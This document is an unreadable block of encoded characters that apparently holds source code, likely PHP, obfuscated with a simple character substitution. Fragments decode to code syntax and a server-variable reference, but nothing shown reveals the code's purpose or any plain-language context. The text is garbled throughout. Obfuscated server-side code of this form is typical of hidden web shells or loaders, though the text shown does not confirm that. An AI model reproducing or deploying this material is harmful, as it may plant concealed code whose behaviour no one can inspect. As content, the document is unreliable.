]47&%4!=UUUU[UUUURRYUU]EB^ED\\NUUUUUUUUQCUUHUUU5CLG]D@EM\]QGLM*\UUJU]\U5MAL]DC@C\]QGLM*\UUUUOUUUUUWWNUUUUUQMUUUUHUENQGBFEEH]EB^E@\NQMBDHQGBFEEPDCNUUUUU]QCUUTHHUUUUWW\UUUUQFD  DUUUHUUMAL]DCDE\]R	RYUUUQC\NUUUQMUUUHUU]\UUQFD  D.E(NUUUUUUUU]QMUKUUUEUUSSUCLG]DCCE\]\UXUQMUKUU]MLM^G\\UUUUUUAAMGG*  ]MAL]DCCD\YUUUUUU*F]DCCG\\NUUUUU]QMUUUHHHUUUEUUSSU]F]DCCF\]\UUUUXUUUUU]\U5]QLBDL\\UUUUKUUU]DLB^BEF\\UUUAAMGG*  ]CLG]DCCD\YUUUCLG]DCCA\\NUU ]QGLM*YUUUUUUQCYUQFD  DYUQM\NQEADUHUUGDG]\NUUUUUUUUUUU]TQEADU		UUCLG]D@MA\]QEAD\UUIUUUU]E^E\\UU NUUUUUUUQADBL*UUHUFDG]\NUUUUUQGEUHUUUUUUCLG]DCDF\]DCLLEEFE]\YUUMAL]DCC@\\NQDLUHUUUUU GBME M L]\UU[UUUUUUMAL]D@\NUUUQ@@ CUHUUU5*F]DCCC\]QDL\UUUUUJUUUU]QDLUU[URZRUU[UUUUQGEUUU[UUUUCLG]DCC@\\OUUUUU] GBME M L]\UU[UUUF]@@\UUUUU[UUUUQGEUUUU[UURZRUUU[UUUQGEU[UUCLG]DCC@\\NUUUUQALA UUUUHUUUUUUF]DCEB\]CLG]BMF\\UUJU*F]DFAC\]* ]\YUU%=%* '9*=:&!\UOUU]]Q*&0'#0'.*F]CAC\(\UUJUUUUQ*&0'#0'.CLG]CAC\(UUOUWW\NQBB*UUHUUUUU]]MAL]DCCB\\USSUUUU"%8 *%9 2<;*1<'\UJUUUUU"%8 *%9 2<;*1<'UUUOUUU GBME M L]\U[U*F]D@\NUQ LGCMCGB@UUHU]]*F]MGM\\USSUUUU"%*%9 2<;*1<'\UUJUUU"%*%9 2<;*1<'UOUU GBME M L]\UUU[UUUUUMAL]DCCM\NUUUUQ@DECUUUUUHUUU]*F]DCCL\\UUJU"%*6:;!0;!*1<'UUUUOUU GBME M L]\NUUUUUUQ*GUUUUHUUUL*AAC*AL]UUUF]DCBE\Y]R**%4!=*7CA**RYUUUUR**%9 2<;*74&0CA**RYUUR**1:84<;**RYUUUR**=7*7CA**RYUUR**2%4!=*7CA**RYUR**47&%4!=*7CA**RYUUUR**6:;!0;!1<'*7CA**RYUUUUR**8 1<'*7CA**RYUUR**%9 2<;1<'*7CA**RYUUUR**&9 2**RYUUUUR**#0'&<:;**R\YUU]CLG]DCBD\]Q@@ C\YUUUQADBL*YUQALA YUCLG]DCBG\]Q@A F@\YUU*F]DCBF\]QLBDL\YUMAL]DCBF\]47&%4!=\YU*F]DCBA\]Q@DEC\YUUUUUUMAL]DCBA\]QBB*\YUMAL]DCB@\]Q LGCMCGB@\YUF]DCBC\]DCLLEEFE]\YUUUU*F]DCC@\\YUUMCCFB]\\U\NUUUUU]TQ*G\UUUUUUUUU]]\UUU*]F]DCBB\YUUUE\UUKUUUUUE\UAAMGG*  ]CLG]DCBM\YUMAL]DCBL\\NUU NUUU]T@LE*B ]Q*G\\UUUUZ_UUU_ZUUAAMGG*  ]MAL]DCBM\YUUU*F]DCME\\N NUUUUUUUUUU] FAF@D]QLBDLYUUUUQ*G\\UUUUEEABB *FM]QLBDLYUUUUUUD AC ]\\NF* ]QLBDLYUUUUU]EA^ED@\\NUUELAAL*]QLBDL\NUUFLGEBGB L]Q*GLGCUUUU[UCLG]DCMD\UUU[UQ@@YUUUCLG]DCMG\]Q*G\YU*F]DCBM\\NFLGEBGB L]Q*GLGCU[UCLG]DCMF\U[UUUUUUQ@@YUUUMCCFB]\YUF]DCMA\\NQ GHDBGENQD@DEHQ GPDCNUUU5 *UQLBDLNU*]MAL]DCAF\YUDYUUU]GCB^FF\\NU ]QBB*YUUUUQ LGCMCGB@YUUUQ@DEC\NUUUUU]!UQD@D*G\UUUAAMGG*  ]F]DCMA\YUUUQD@D*G\NUUUUUUUU]0UQD@D*G\UUUUUUUUUZZU UU UUDGD@@LCD]Q BB@*\UUUUUQFFEH]EM^EB\NQC **FHQFFEPDGNUUU]TMAL]DCGG\]Q BB@*\\U UNUUUUUQACGMUHUUF]D@MA\]Q BB@*\NUU]QACGMUKUU]DBF@BBDXCMBDL@\\U U NUUU]QACGMUUIUUU]GBE^GFE\\UUUU UUUUNUUQ@FCGUHUU*F]DCED\]Q BB@*YUEYUUUU]AELD^CDAA@\\NUQGLMUUHUUMAL]DCM@\]Q@FCGYUURUR\U^UUU*F]DCM@\]Q@FCGYUUUUW)W\N U]QGLMUZUF]D@MA\]Q@FCG\\UUKUUE[@@NUUU UGDG]QB FUUUUHU\UUUUUUUUUUUUQEADUUUUHUU NUU]QB F\UQEADUUHU NUUUU]QEADUUUUUTHHU \UUUU UUQEADNUUUQ BB@*UHUUUUNUUQA* GUUHUUUU5MAL]D@F@\]DCLLEEFE]\\NQ*BH%=%*<;!*84-Z%=%*<;!*84-NQDHQ*B^BDNUUUUUUUUUUU]QA* GUUUSSUUQA* GUUUKUU]GDD^GML\UUUSSUUUQA* GUUUIHUU]@GAGMBAD^@L\\UUQ BB@*UHUUU5F]DC@C\]DCLLEEFE]\\NU]MAL]DCGG\]Q BB@*\UUUSSUUCLG]DCMC\]Q BB@*\UUUUKUUUUU]DEAM@EM^CM\\UQ BB@*UUUUHUU*MB @AB]Q BB@*\NUUUU]MAL]DCGG\]Q BB@*\USSUUUMAL]DCMB\]Q BB@*\UKU]ACL^FD\UUUUSSU*F]DCMB\]Q BB@*\UIHUU]DEAMAMC^LE\UUSSUTDGD@@LCD]Q BB@*\UUUUUSSUU@LE*B ]Q BB@*\\UUUUQEADUUHUQ BB@*NUUU UUQEADNUUUQCMLFDFBUUHU GLAF F**]*F]DEGD\YUUUWW\NUUUUUUUUU]*F]DCGG\]QCMLFDFB\USSUUUU*F]DCMB\]QCMLFDFB\UKUU]ACM^FG\UUUUSSUUUF]DCMB\]QCMLFDFB\UIHUUU]DEAMALA^MG\USSUTDGD@@LCD]QCMLFDFB\UUSSUU@LE*B ]QCMLFDFB\\UUUUUUUUUQEADUUUUHUUUQCMLFDFBNUUU UQEADNUUUUQEADUUHUUUNUUUUUUU UUUUUQEADNUU UFDG]QB FUUHU\UUUUUQCB*UUUHUUU NUUUUUUUU]QB F\UUUZZU"%U7U4%<UFUUUQCB*UUUUUHUUU NUZZU"%U1U8 OUUUU]QCB*UUTHHUUU \U UQCB*NUUUUQ BB@*UUUUUUHUGDG]\NUU]T*F]DCGG\]Q BB@*\U		UCLG]DCMB\]Q BB@*\UUUUIU]GAM^G@G\UUUUU		UUF]DCMB\]Q BB@*\UKU]DEAMALF^MF\UUU		UUDGD@@LCD]Q BB@*\U		UUUUT@LE*B ]Q BB@*\\UUUUQCB*UUHUUUNUUU UUQCB*NUUUUUUQCB*UHUMAL]DCB@\] @*FFFC*]Q BB@*\\NUUUU UUQCB*NUUU UUBCGBDAD]QF\UUUUUUUUUUU]TMAL]DCMM\]QF\UU		UU*F]DCML\]QF\UUIU]DAL+DF@\UU		UUCLG]DCED\]QFYUUUEYUUG\UTHHUUUW)D)MW\U UUENQCCBUHU5*F]D@FL\]R#RYUCLG]DCED\]QFYUX]EF^ED\\\NQCCBUUUUHUUCLG]DFMA\]QCCB\UUUJUQCCB.D(UUUUOUENUUUUUU]QCCBUIUUU]ABD^GL\UUU		UUQCCBUUKUU]DEAM@F@^AD\\U UQCCBN UENUUUUUUUU UUU@DE*MAL]QBD@LCLB\UUUUUU UUUMAL]AEA\]]QBD@LCLB.D(\\NU UFD @]QGEE\UUUU]T*F]DCMM\]QGEE\UUUUU		UQGEEUUUHHHUWW\UUU UUUQGEENQLLGBHDEE^BENQMELLHQLLGBXDENUUUUUUUUUUUQMUHUU NUUUUUUUU]QMUHHHUU \UUUUUQMUUUUHUUNUUUUUUU]F]DCEB\]F]DCLE\\\UUUUQ*UUUHUUUU]F]DCCL\\UUJUUUUUU"%*6:;!0;!*1<'UOU]]F]D@C@\\UUUUUJUU47&%4!=UUOUUUUUWW\NUUUU]Q*UUUTHHUWW\UUQAGC*AUHU5**]Q*\NUUUUUUUU]QAGC*AUUUTHHUUUUUUUSSUQAGC*AUUKHUUU]GDECFGCALX@FFACGAL\\UUUUUUQMUUHUUU NUUUUUUUU]TQM\UUUUUUUU]F]DCEB\]F]DCEM\\\UU5 *]F]DCLD\YUUMAL]DCLG\]\YU*F]D@D@\\NQAFEG H]EAA^EG\NQEHQAFEG PDFNUUUUUUU]CLG]DCEB\]F]DCEC\\\UUQ B@UUUHU]\UUUU*]CLG]DCLD\YUE\NUUU]Q B@USSUMAL]DCLF\]\UUUUXUQ B@UUIU]MCFEL^LD\\UUUUUQMUUHUUNUUUUUUUUUUUUUUUUUUU]TQM\UU UUUUQGEENZZU"%U0U'UUUUUUUUUQGUUHUUUUUU]@ALLLMB^DF\U^UUUUF]DDAA\]EYUU]DDDEEFE^FMLLBE\\NUUU]CLG]DCLA\]QGEE\UUKHUUUQG\U UUUQGEENUU]*F]DCL@\]MAL]DAAA\]QGEE\YUXG\UHHHUUCLG]DCLC\\UUUUU UUQGEENUUUUU]*F]DCLA\]QGEE\UUIUUUUQGUXUUUUUU]AE@C^AA\\UUUUUQGDAL @BCUUUHUWWNUUUUU]MAL]DCEB\]*F]DCLB\\\UUUUUUUUUQGDAL @BCUUHUUU5*F]DCLM\]*]]FMA^DCDC\\\NUUUUUUUUUUUUUUU]!UUUQD@D*G\UUUUUUUQGDAL @BCUUHUUWWNUUUUUUUU]0UQD@D*G\UUUUUUUUUUUQGDAL @BCUUUUHUWWNUUUUUUUUUUUUUUUU]*F]DCLA\]QGDAL @BC\UUUIU]FALC^@EA\\UUUUUUUUUQGDAL @BCUUUUHU*F]DCMG\] ]WWYUU \\NUUUU]F]DCLL\]QGDAL @BC\UUIU]CFLMXGFLM\\UUUUQGDAL @BCUUUU[HUU*F]DCMG\]QGDAL @BC\NUUUUUUUUUUUUQGEEUU[HUUW)Z_WUU[UUUQGDAL @BCU[UUUUF]DBEE\NUUUU UUQGEENUUUUUU UU*MB @AB]QGEE\UUUUUU]TMAL]DBED\]QGEE\U		U*F]DCLL\]QGEE\UUUUUUIHUUUUU]DLFFFMLXMMAMDF\\UU UUUQGEENQM@HCBGCNQAACMBBHQM@PDDNUUUUUQEGED UUUHUUF]DCFB\]CLG]DBEG\YUWWYUUUUQGEE\NU UUUUU*F]DBEF\]QEGED \UUUJUUQEGED UUOUQGEENQGEHAD@NQMBMH]QGEKE\JQGEOXQGEN UUUUUUELAAL*]QEMEM\ZZUUUUU]T*F]DBEA\]CLG]DBE@\\U		UUUTCLG]DBEA\]MAL]DCEM\\\UUUUU NUUUUUUUUU]T*F]DBEC\]QEMEM\UUUU		UUQEMEMUUUUUUHHHUUUUUWWUUUUU		UUT5F]DBEB\]QEMEM\\UU NZZU UUUUU]T]Q29:749&.CLG]DBEM\(\U		UUUUUTCLG]DFMA\]Q29:749&.MAL]DBEL\(\\UUUQ29:749&.*F]DBEL\(UUHUUUUUU*]MAL]DBDE\YUU]\\NUUUUU]TCLG]DBDD\]Q29:749&.F]DBEL\(\\UUQ29:749&.*F]DBEL\(UUUUHUUUU]\NUUUUUUUQBD@LCLBUUUHUQ29:749&.CLG]DBEL\(NQGEEUUUHUUU5CLG]DBDG\]QEMEM\NUUUU]TCLG]DBEC\]QGEE\\U NUUUUUU]F]DCLL\]QGEE\UUUUUKUUUU]E@^EF@EC\\UUUQGEEUUHUU*MB @AB]QGEE\NQBD@LCLB.*F]DCMG\]QEMEM\(UUUHU]RRUUHKUUUUQEMEMYUURRUUUUHKUUUF]DBDF\]QGEE\YUUURRUUUUHKUMCCFB]\YUURRUHKUUF]DCLF\]\\NUUUUUUUUUUU]F]D@FB\]QBD@LCLB\UUUUUKUUUU]DBD^GL\\UUUUU]QBD@LCLBUUUUUQ *GM@CGD@UHKUQM*E\UUUUUUUUU]T*F]DBDD\]QM*E\U		UUUUUT]QM*E.RR(\UU		UU]\UUQM*E.RR(UIUUF]DCLF\]\UUUXUUU]G@LDLAF^@B\\UUU ]QBD@LCLB.Q *GM@CGD@(\NUUUUUUUUUUUU]F]D@FB\]QBD@LCLB\UUUUKUU]FM@XDM@\\UUUQAMFUHUUUUU NUUQCEF FAUHUUUU NUUU]QBD@LCLBUUUUUUQ *GM@CGD@UUUUUHKUUUUUQM*E\UUUUQG@AMUUUHUUUF]DBDD\]QM*E\UUSSU]QM*E.RR(\UJUUU]\UUQM*E.RR(UUUUOUENUUUUU]QCEF FAUUUUHHHU UUU		UUUUQG@AMUUUIUUUUUQCEF FA\UUUQCEF FAUUHUQG@AMNUUQAMFUUUHUUQ *GM@CGD@NUUUUUUUUUUUU]QAMFUHHHUUUUU \UUUUNUUUUUU ]QBD@LCLB.QAMF(\NUUUUU *]*F]DBDA\YUUQBD@LCLBYUCLG]D@D@\\NUUQ29:749&.MAL]DBEL\(UHUUQBD@LCLBNUU UUU AAB]QEMEM\UUUUU]TMAL]DBEC\]QEMEM\U		UUQEMEMUHHHUUUUWW\UU UUUUUNUUU]T]Q29:749&.*F]DBEL\(\UUUUU		UUTCLG]DBDD\]Q29:749&.CLG]DBEL\(\\UUUUUUUQ29:749&.MAL]DBD@\(UUUUUUHU*F]DBDC\]F]DBE@\\UJUUUU*]CLG]DBDB\YUU]\\UOUU]\NUUUUUUUUU]T*F]DBDD\]Q29:749&.F]DBD@\(\\UUUUQ29:749&.MAL]DBD@\(UHU]\NZZU%6'0GU?<!OUUUUQBD@LCLBUUUUUHUUUUUUQ29:749&.CLG]DBD@\(NUUUUUQDGD BCUUHUUUMAL]DBDM\]QEMEM\NUUU]]QBD@LCLB.QDGD BC(\UUUUUSSUU*F]DBDD\]QBD@LCLB.QDGD BC(\UUUSSUU]QBD@LCLB.QDGD BC(.RR(\\UUUUUUUUU]]\U5F]D@F@\]QEMEM\UUKU]@GAGMBG@^B@\\UUU UUUF]DBDL\NQGEEUUUHUUUU5MAL]DBDG\]QEMEM\NUUUUUUUU]MAL]DBEC\]QGEE\\UUUUUUUU]*F]DCLL\]QGEE\UKUUU]EALC^EECLG\\UUUUUQGEEUUUUUHU*MB @AB]QGEE\NUU U]CLG]DBDM\]QGEE\UHHHUQBD@LCLB.QDGD BC(.RR(\UJUU UOUUUUMAL]DBDL\NUUUUUUUUU UUNUUUUUUUUUUQGEBMGD UUHUUUUU5MAL]DBGE\]QEMEMYUUUYUU YUUEYUUUUU]DB@C^GFAE\\NUU]*F]DBEC\]QGEBMGD \UUUUUSSU*F]DBGD\]CLG]GFF\YUQGEBMGD \SSUUUUL*F]QEMEMYUUU]AL@^@\\UUUUUU\UUU]]\U5MAL]D@F@\]QEMEM\UUKUUUU]DEA@@EEE^ADLBFMEE\\U UUNQGEEUHUU]\U5*F]DBGE\]QEMEM\NUUUUU]*F]DCLL\]QGEE\UUUUUUKUUUUUU]DFBCCMFXFGMDEB\\UUUUUUQGEEUUUHU*MB @AB]QGEE\NU]@LE*B ]QGEE\\UUUU UF]DBGG\NUUUUUU UNUU UUF FG]\UQBD@LCLBUHUUU NUUUUUU]QBD@LCLBUUUUTHHU \UU UQBD@LCLBNUUUUQGEEUUUHUUUUU]\UU5CLG]DBGE\]DCLLEEFE]\\NUUUUUUUUUU]*F]DBGF\]QGEE\UUUKUUUUU]D@B@CDCX@GBEAE\\UUUQGEEUUUUHU*MB @AB]QGEE\NUQBD@LCLBUUUUHUUUUUUCLG]DBDM\]QGEE\NU UUQBD@LCLBN UMDM *]\UUUUU UMAL]DBGA\]F FG]\YUUEYUUU]GAXDG\\NUUUU UUUGGB ]\UUUUUUUUUUUU UUUUGMFM]\U[UCLG]DBG@\UUUUU[UL ]47&%4!=U[UUUUUCLG]DBGC\YU]DAXC\\UU[UU*F]DBGB\NUUU UUMDMCA]\UUUUUUQ*MMDUUHU]\NUU]CLG]DBGM\]*F]DBE@\\\UZZU UQG E*UUUUUHU5*]F]DBGL\YUU]\\NUUUU]CLG]DBFE\]QG E*\\UUQ*MMDUUUUHUUQG E*NZZU"%U&U7OUUXUUUUQGEEUUHUUU5CLG]DBEB\]GGB ]\\UJUUUUU5*F]DBGE\]GGB ]\\UUUUUOUUUWWNUUUUUUUUUU]CLG]DBEC\]QGEE\UUUSSUUUUF]DCFF\]QGEEYUUCLG]BCD\\UUUHHHUUE\UUUUUUQFG**UHU*F]FCG\]MAL]DBFD\]QGEEYUUU]GGL+GGA\\YUU \NUUUU]MAL]DBFE\]QFG**\USSU]]Q*MMD.F]DBFG\(\UUU		U]T]QFG**.MAL]DBFF\(\UUSSUUQFG**.CLG]DBFF\(UUUUKHUUUUUQ*MMD.F]DBFF\(\\\UUUUUQ*MMDUUHUUQFG**NUUUUU UUQ*MMDNUUUUUUUUUU UUC@FLMLFGL]QDMGGFA\UUUUUUZ_UUU_ZUUUUUUUUUUUUUUUU]T]*F]D@C@\\\UUUU NUUQDMB UUUHUUUMAL]DCLF\]\NUUUUUUU]QDMGGFAUHHHUUUCLG]DBFA\UU		UUQDMGGFAUUHHHUCLG]DBF@\\UUQUUHUUUMDMCA]\NUU]U]Q.MAL]DBFC\(YUUQ.MAL]DBFB\(\UUSSUQ.MAL]DBFC\(UUUUHHHUUQDMGGFAUUUSSUUUUQDMB UUUUXUUU]\UUQ.MAL]DBFM\(UUUUIUU]QDMGGFAUUUUHHHUF]DBF@\UJUUU]FCCXCC\UUOUUUU]L^D\\U\UUUUU NUZZU UUUUQ*MMDUUHUU]UUUUUURRUUUHKUMCCFB]\YUUUUCLG]DBFL\UUUUHKUUUMDM *]\YUF]GFA\UUHKUUDCLLEEFE]\YF]DF@G\UUUHKUCLG]DCBC\]DCLLEEFE]\YUUUUU*F]DBGB\\YUMAL]DBFC\UHKUUUUUQDMGGFAYUUF]DBAE\UUHKUUUUQDMB YUUMAL]DBFM\UUHKUQDMB Y*F]DBFF\UUUHKU]Q*&0'#0'.CLG]DBAD\(\UUJU]\UUUUUQ*&0'#0'.MAL]DBAD\(UUOUUUQDMB Y\NUUUUUU]*F]DBGM\]*F]DCEM\\\UUUU5 *]*F]DBAG\YUUQ*MMDYUUUUUMAL]DBAF\\NUQBD EUHUUGMFM]\NUUU]5F]DFBB\]QBD E\UUUU		UUU*DAA]QBD EYUUU]M@MXFC@\YUUU \\U5MAL]DDFB\]GGB ]\YUUUF]BCD\UUU[U*F]DFCG\]Q*MMD\\NUUUUUUUUUUUUUUUUUU]!UUUQD@D*G\UUUUUUUU]0UUUUQD@D*G\UUUUUUUU UUUUU DG B]Q*MMD\UUUUUUUUUUUUU]TMAL]DBAA\]Q*MMD\UUUU		UU]Q*MMD.MAL]DBA@\(\U		UTMAL]DBAC\]Q*MMD.CLG]DBA@\(\\UU UUUUMAL]GFB\NUUUUQFFGBDUUHUQ*MMD.CLG]DBAB\(NUUUUUUUUUUUUU]T5CLG]DBAM\]QFFGBD\UU		UU]\U5CLG]DBAL\]QFFGBD\UUIU]AAM^@G\\UU UUU*F]GFB\NUU]E@]QFFGBD\\UU UUUMAL]GFC\NUUUQGF** UUUUHU]Q*MMD.CLG]DBFC\(\UJUUUQ*MMD.MAL]DBFC\(UUUOUUUUUUWWNUUUQF*BFUHUUUUUU]Q*MMD.CLG]DB@E\(\UUUUJUU]\UUUQ*MMD.*F]DB@E\(UUOUENUUUU]QGF** UUHHHUU*F]DBF@\\UUUUU UUU]QF*BFUUKUEUUSSUUUF]DCLF\]\UUXUUUUQF*BFUUUIHU]F@ME^GE\\UJUUUUUCLG]DB@D\UUUOUMAL]DB@G\NUUU]QGF** UUHHHUUUMAL]DB@F\\UU UMAL]DB@A\NUUU]QGF** UUUUHHHUUCLG]DBFA\\UU U]QF*BFUUKUUEUUUSSUUUUUUF]DCLF\]\UUUUUXUUQF*BFUUIHUU]EDC^ECG\\UUJUUMAL]DB@G\UOUUUUUUF]DB@A\NUU UUUUCLG]DB@@\NUUUUUUU UUB@G @BB]QEMEM\UUUU]T5F]DBAM\]QEMEM\\UUU UUUUUNUUQLEGUUHUUUU]\UU5*F]DB@C\]QEMEM\NUUUUUUU]QLEGUUUUUIUU]EDFE^EA\UU		UUUQLEGUUUUKUU]MFCB@FD^AAECDGCL\\UUUU UUUUUUNUUUUUQGEBMGD UHUU5CLG]DBGE\]QEMEMYUUYUUU YUUUUEYU]AE@B^FL\\NUUU]TF]DBAC\]QGEBMGD \UUUUU		UUTCLG]DBGD\]MAL]GFF\YUQGEBMGD \\UUU UUUNUUUUU]QLEGUUUKU]DEAM@FF^AF\\UUUUUQGUUUUHUU5CLG]DB@B\]QEMEMYUUUYUU YUUQLEGUUUUXU]AECA^FG\\N UCLG]DB@M\]QG\USSUCLG]DBGD\]*F]DB@L\YUUUUUQG\UUUUHHHUDNUUUQGEEUUUUUHUUU5*F]DBCE\]QEMEM\NUUUUU]TMAL]DB@M\]QGEE\\UUU UUNUUU UU@LE*B ]QGEE\NUU UUUUE@]QEMEM\UUUUUQGEUUUUHU*F]DCBC\]QEMEMYUU*F]DBCD\\NUU]]CLG]DGCL\]QEMEM\YU *LMAEE]\\UUUQDAECF\UUUUUUQB*CGCGUUUHUUQDAECFUU[UUUF]DBCG\UU[UQGENUUUUU]T5*F]DBCF\]QB*CGCG\U		UU]\UU5CLG]DBCA\]QB*CGCG\UUIUCLG]DCLF\]\UUXUUU]CEABLB^F\\U NUQAGGE@UUHUF]DGMD\]]\UU5CLG]DBCE\]QB*CGCG\\NUUUU]QAGGE@UUUUHHHUWW\UUUU NUUQGEEUUUHUU]\UU5MAL]DBCE\]QEMEM\NUUU]MAL]DBGF\]QGEE\UUUUKUUUU]DEAM@DM^@M\\UUUQGEEUUUHUU*MB @AB]QGEE\NUUU]QGEEUUUTHHUUUWWUUUUSSUUF]DBC@\]QGEE\UUHHHUUUUUUQAGGE@\U UUU NUU UUUUUN UFF*]QEMEM\UUUUUUUUUU]T*F]DBGM\]CLG]DBE@\\UUUU		UUUTCLG]DBGM\]CLG]DBCC\\\UUUUU NUUUUQGMGUHUUUUUU5*]*F]DBCB\YU]\\NUUUUU]TF]DBAA\]QGMG\\UUQGMGUHUU]\NUQGMG.CLG]DBC@\]QEMEM\(UUHUUUQEMEMNU]*F]D@FB\]QGMG\UUKUU]DL^D\\UUQGMGUHUUUUUMAL]DBCM\]QGMGYUUUUX]E^EC\YUU YU \NUU5 *]MAL]DBCB\YUQGMGYUUU*F]DBAF\\NUUUUUUUUU UUUU@CDF]\UUUU]T*F]DBGM\]CLG]DBE@\\UUUUU		UUUTMAL]DBGM\]MAL]DBCC\\\UUUUUU NUUUUUUUQGMGUHUU5*]CLG]DBCB\YU]\\NUUUUU]TCLG]DBAA\]QGMG\UU		U]QGMG\\U NUUQCCLEUHUU]\NUU]QGMGUUUUQ *GM@CGD@UUUUUHKUUQFFGBD\UUUUUUUUUU]TF]DB@M\]QFFGBD\UUUUUU		UUUQFFGBDUUUHHHUUWWUUU		UUT5CLG]DBCF\]QFFGBD\\UUUUU NUUUUUUUU] AAB]QFFGBD\UUUUHHHUU\UUUQCCLE.Q *GM@CGD@(UHUUUUQFFGBDNU NUUUF* ]QFFGBDYUUU]F@A^CC\\NUU]E F]QFFGBD\\UUQL@FEHD@^FCNQ@HQL@FEXGGNUUUU]F]DBGM\]*F]GEE\\\UUU5*]QFFGBDYUU \NUUUUUU]5MAL]DBCF\]QFFGBD\\UUUUUQCCLE.Q *GM@CGD@(UHUUUQFFGBDNUUUUUUUUUUUUU5 *]*F]DBCB\YUUUUUUQCCLEYUUUUMAL]DBAF\\NUUUUUUUU UU@*]\UUUUUUUUQD@D*GUUHUUUMAL]DBGM\]MAL]DCB\\UUJUU5**]\UOUUUU NUUUUUU]UCLG]DBAA\]QD@D*G\UUUUSSUT]QD@D*G.F]DCL\(\USSUUT]QD@D*G.*F]DBE\(\USSUCLG]BLC\]QD@D*G.F]DBE\(YU]0*0'':'YUU0*%4'&0YUU0*6:'0*0'':'YUUUUUU0*6:8%<90*0'':'YUUUUUU0* &0'*0'':'\YUU \U\UUUUUUQC@FMUUUHUU5*F]MFM\]DCLLEEFE]\\NUUUUUUUUUUUQ*UUUUUHU5MAL]MFM\]QD@D*G.CLG]DCL\(\NUUUUUUUU]CLG]DB@M\]QC@FM\USSUUUF]DB@M\]Q*\USSUUUUQ*UHHHUQC@FM\UU NUUUUUC@FLMLFGL]F]DB@D\\NU]]F]D@C@\\\UUQMMCLD@BAUUUUUHUUUAFGF*A]\NUUU]5MAL]DBCF\]QMMCLD@BA.D(\\UUUUUUUQCGCFADUUUHUUU5CLG]DBCE\]QMMCLD@BA.D(YUUYUUUUU YUEYUU]GFB+DBF\\NUUU]F]DB@M\]QCGCFAD\USSU*F]DCFF\]QCGCFADYUUCLG]D@BG\U[UUUMCCFB]\U[UUUROR\UUUHHHUUUUE\UUQ LCUUUHUU5MAL]DBCF\]QMMCLD@BA.D(UUU[UF]DBCL\\UUUUUUJUUUUU5*F]DBCE\]QMMCLD@BA.D(U[UF]DBBE\YUUUYUUUUU YUUEYU]A@^DL\\UOUUUUUWWNU]Q LCUTHHUUUQCGCFAD\UUUUU5CLG]DBBD\]QMMCLD@BA.D(YUUUQMMCLD@BA.D(UUUUU[UMAL]DBBG\\NUUUUU ]QMMCLD@BAYUUQCGCFADYUUQ LC\NUUUUUUUUUUUUUUUUUU]!UQMEL\UUUUUUUUUUUUUUUU]0UQMEL\UU UUDCB@ G@]QD\UUUUU]TMAL]DBBF\]QD\\UUU UUUUWWNUU]CLG]DBBA\]CLG]DBB@\YUQDYUUQG@D\\UUUUUUUU]QG@D.D(UUUUUUUQE \UUUUU]BCGBDAD]MAL]AEG\]QE YUUUU \\\UUUUUU UWWNUUUUUUUUUUU]CLG]DBBC\]F]DBBB\YUQDYUUUUQG@D\\UUUUUUUUUU]QG@D.D(UUUUUUUQE \UUUUUU]BCGBDAD]]QE \\\UUU UUUUWWNUUU]*F]DCFF\]QE YUUUMAL]DBBM\\UUTHHU\UQ@DM@F H%=%*84?:'*#0'&<:;NQE  CHQ@DM@F _ANUUUUQGCG*UUUHUU**]*F]DBBL\YU*F]DBME\YUUUUQE \NUUUUUU]F]DBBF\]QGCG*\USSUQGCG*UUTHHUUUQE UUUSSUBCGBDAD]QGCG*\\UU UUUWWNUUUUUUUUUUUU]MAL]DBBC\]MAL]DBMD\YUUQDYUUQG@D\\UUUUUUUU]QG@D.D(UUUUUQE \UUU]BCGBDAD]*F]DBMG\]]*F]DBMF\YUUMAL]DBMA\\YUU]R))RYUR)RR\YUUQE \\\UU UWWNUUU]F]DCFF\]QE YUUCLG]DBBM\\UTHHUU\UUUQGCG*UUUUHUUUU**]CLG]DBBL\YUUUCLG]DBME\YUQE \NUUUUUU]MAL]DBM@\]QGCG*\UUUSSUQGCG*UUUUTHHUUUQE UUUUUSSUUUBCGBDAD]QGCG*\\UUUU UUUUUUWWNUUUUUUUUUU UUQDN UULD]Q BB@*\UUUUUUUU]TMAL]DBM@\]Q BB@*\U		UU]MAL]DCFF\]Q BB@*YUUUCLG]DBMC\\UHHHUUUUUUUSSUUUUUUMAL]DBMB\]Q BB@*YUUUF]AEG\\UHHHUUU\\U UUUUUUNUUUUU]MAL]DBBC\]CLG]DBB@\YUQ BB@*YUQG@D\\UUUU]QG@D.D(UUUUUUUUQE \UUUUUUU]BCGBDAD]F]AEG\]QE YUUUU \\\U UU NUUUUU]*F]DBBC\]MAL]DBBB\YUUQ BB@*YUUUUQG@D\\UUUUUUUUUU]QG@D.D(UUUUUQE \UUUUUUUUUU]BCGBDAD]]QE \\\U UUUU NZZU5 UUUU]QG@D.D(UUUQE \UUUUUUUU]F]DBMM\]QE YUCLG]DBBM\\UUUHHHUU\UUU NQGCG*UHUUUU**]*F]DBBL\YUUF]DBME\YUUUUUUQE \NUUUUUUU]CLG]DBM@\]QGCG*\UUSSUUQGCG*UTHHUUUUQE UUSSUUBCGBDAD]QGCG*\\UU U NUUUUUUUUU]F]DBML\]F]DBMD\YUUUUUQ BB@*YUUUUUQG@D\\UUUUUUUUUUUU]QG@D.D(UUUUUUQE \UUU]BCGBDAD]CLG]DBMG\]]MAL]DBMF\YUUUCLG]DBMA\\YUU]R))RYUR)RR\YUUUQE \\\UUUU UU NUUUUUUUUUUU]QG@D.D(UUUUUUUUQE \UUUUU]F]DBLE\]QE YUUCLG]DBBM\\UHHHUUU\UU NUQGCG*UHU**]F]DBBL\YUF]DBME\YUQE \NUUU]*F]DBLD\]QGCG*\UUUUUSSUUUQGCG*UUUUTHHUUUUUUQE UUUSSUBCGBDAD]QGCG*\\UUUU UUU NUUUUU UUUUNUUUU UUD@CDL]Q BB@*\UUUQGBHDL@	DFNQB@G*MLHQGB+DBNUUUUUUUUU]T*F]DBLG\]Q BB@*\UU		UQ BB@*UUUUUHHHUUWW\U UWWNUUU U]MAL]DBGD\]MAL]DBLF\YUUF]DBLA\]Q BB@*YUUUEYU]DGCF^CLGL\\YUUUUQBD@LCLB\\UUJUQBD@LCLB.D(UUUOUUWWNU U LADF]QGEEYUUUQ*YUQC*EDMUUHU \QBADB@HXAMDNQBDL H]QBADB@KE\JQBADB@OXQBADB@NUUUUUUUU]T*F]DBL@\]QGEE\UU		UQGEEUUUHHHUUUUWW\UU UUQGEENUQFEUUHUUUUUCLG]DBLC\U[UUQ*UUUUU[UUUMAL]LCL\NUQF*UHUWWNUUUQBGC*BUUHUUENUUUUUUU]QBGC